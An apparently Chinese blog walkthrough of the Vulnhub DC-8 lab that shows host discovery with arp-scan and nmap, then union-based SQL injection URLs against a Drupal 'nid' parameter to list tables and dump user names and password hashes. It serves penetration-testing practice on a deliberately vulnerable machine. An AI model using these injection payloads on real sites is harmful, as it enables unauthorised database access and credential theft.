Vulnhub靶机：DC-8

2020-05-10 本文已影响0人 z1挂东南

标签：sql注入、Drupal CMS、反弹shell、exim提权

0x00 环境准备

下载地址：https://www.vulnhub.com/entry/dc-8,367/
flag数量：1
攻击机：kali
攻击机地址：192.168.1.31
靶机描述：

DC-8 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

This challenge is a bit of a hybrid between being an actual challenge, and being a "proof of concept" as to whether two-factor authentication installed and configured on Linux can prevent the Linux server from being exploited.

The "proof of concept" portion of this challenge eventuated as a result of a question being asked about two-factor authentication and Linux on Twitter, and also due to a suggestion by @theart42.

The ultimate goal of this challenge is to bypass two-factor authentication, get root and to read the one and only flag.

You probably wouldn't even know that two-factor authentication was installed and configured unless you attempt to login via SSH, but it's definitely there and doing it's job.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

0x01 信息搜集

1.探测靶机地址

命令：arp-scan -l

靶机地址是192.168.1.37

2.探测靶机开放端口

命令：nmap -sV -p- 192.168.1.37

开放了22和80端口，先看一下80端口

又是熟悉的drupal cms

0x02 SQL注入

点击左侧的链接，发现有个nid参数

可能存在sql注入，fuzz一下看看是否存在注入

是个数字型的显错注入
数据库：http://192.168.1.37/?nid=1.1 union select database() --+

数据表：http://192.168.1.37/?nid=1.1 union select group_concat(table_name) from information_schema.tables where table_schema='d7db' --+

里面有个users表，查询一下这个表：http://192.168.1.37/?nid=1.1 union select group_concat(column_name) from information_schema.columns where table_name='users' --+

查询一下用户名和密码：
用户名：http://192.168.1.37/?nid=1.1 union select group_concat(name) from users --+
密码：http://192.168.1.37/?nid=1.1 union select group_concat(pass) from users --+